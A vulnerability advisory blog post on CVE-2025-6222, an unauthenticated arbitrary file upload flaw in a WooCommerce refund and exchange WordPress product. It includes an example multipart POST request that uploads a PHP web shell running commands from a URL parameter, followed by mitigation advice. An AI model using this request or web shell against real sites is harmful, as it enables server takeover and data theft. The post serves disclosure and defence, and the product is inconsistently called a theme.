Overview
In this blog post, we delve into a critical vulnerability affecting the WooCommerce Refund And Exchange with RMA – Warranty Management, Refund Policy, Manage User Wallet theme for WordPress. This vulnerability, identified as CVE-2025-6222, is a significant threat to the security of WordPress sites using the said theme. It enables unauthenticated attackers to upload arbitrary files on the affected site’s server, potentially leading to remote code execution. This threat is of high importance due to the popularity and widespread use of WordPress for website creation and management.
Vulnerability Summary
CVE ID: CVE-2025-6222
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Potential for data leakage
Affected Products
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Product | Affected Versions
WooCommerce Refund And Exchange with RMA – Warranty Management, Refund Policy, Manage User Wallet theme for WordPress | All versions up to, and including, 3.2.6.
How the Exploit Works
The vulnerability resides in the ‘ced_rnx_order_exchange_attach_files’ function, which lacks secure file type validation, allowing for arbitrary file uploads. As such, an attacker can exploit this loophole to upload malicious files, such as a PHP script, to the server hosting the WordPress site. Once uploaded, the attacker can execute the script simply by accessing it via a web browser. This could potentially lead to remote code execution, where the attacker gains full control over the server, and possibly data leakage.
Conceptual Example Code
Here’s a generalized idea of how an attacker might exploit this vulnerability:
POST /wp-content/plugins/woocommerce-refund-and-exchange/includes/admin/attach-files.php HTTP/1.1
Host: victim-website.com
Content-Type: multipart/form-data; boundary=---123
---123
Content-Disposition: form-data; name="ced_rnx_order_exchange_attach_files"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
---123--In this example, the attacker sends a POST request to the vulnerable endpoint with a malicious PHP file. The PHP file contains a simple script that allows the attacker to execute arbitrary commands on the server when accessed with a web browser.
Mitigation
The recommended mitigation for this vulnerability is to apply the vendor patch. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability. However, these should not be seen as long-term solutions, and patching should be done as soon as possible.